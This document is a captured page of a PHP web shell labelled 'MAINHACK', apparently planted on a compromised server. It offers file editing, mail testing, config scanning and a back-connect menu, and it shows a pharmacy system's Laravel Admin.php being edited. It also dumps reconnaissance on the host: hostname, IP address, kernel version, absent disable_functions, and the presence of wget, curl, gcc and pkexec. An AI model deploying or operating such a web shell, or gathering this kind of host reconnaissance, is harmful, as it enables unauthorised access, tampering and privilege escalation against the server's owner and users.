[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Admin.php
<?php namespace App\Models; use Auth; use Illuminate\Notifications\Notifiable; use Illuminate\Foundation\Auth\User as Authenticatable; use Illuminate\Support\Facades\Hash; use App\Models\Role; class Admin extends Authenticatable { use Notifiable; protected $guard = 'admin'; protected $fillable = [ 'role_id', 'name', 'email', 'shop_id', 'password', 'role_id', 'profile', 'mobile', 'status' ]; protected $hidden = [ 'password', 'remember_token', ]; public function role() { return $this->belongsTo(Role::class, 'id', 'role_id'); } public function getProfileAttribute($value) { if (!empty($value)) { return url('/') . "/public/storage/" . $value; } return null; } public function setPasswordAttribute($val) { $this->attributes['password'] = Hash::make($val); } public function modules() { return [ 'customers_add' => 0, 'customers_list' => 0, 'in_stock' => 0, 'emergency_stock' => 0, 'stockout' => 0, 'lowstock' => 0, 'upcoming_expired' => 0, 'already_expired' => 0, 'admin_user' => 0, 'roles' => 0, 'manufacturers_add' => 0, 'manufacturers_list' => 0, 'vendor_add' => 0, 'vendor_list' => 0, 'medicine_add' => 0, 'medicine_list' => 0, 'categories' => 0, 'units' => 0, 'leaf' => 0, 'types' => 0, 'new_purchase' => 0, 'purchase_history' => 0, 'create_invoice' => 0, 'invoice_history' => 0, 'return_history' => 0, 'due_customer' => 0, 'payable_manufacturer' => 0, 'sells_&_purchase_report' => 0, 'top_sell_medicine' => 0, 'profit_&_loss' => 0, 'doctor_add' => 0, 'doctor_list' => 0, 'prescription' => 0, 'diagnosis_&_tests' => 0, 'payment_method' => 0, 'site_setting' => 0, ]; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.02 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002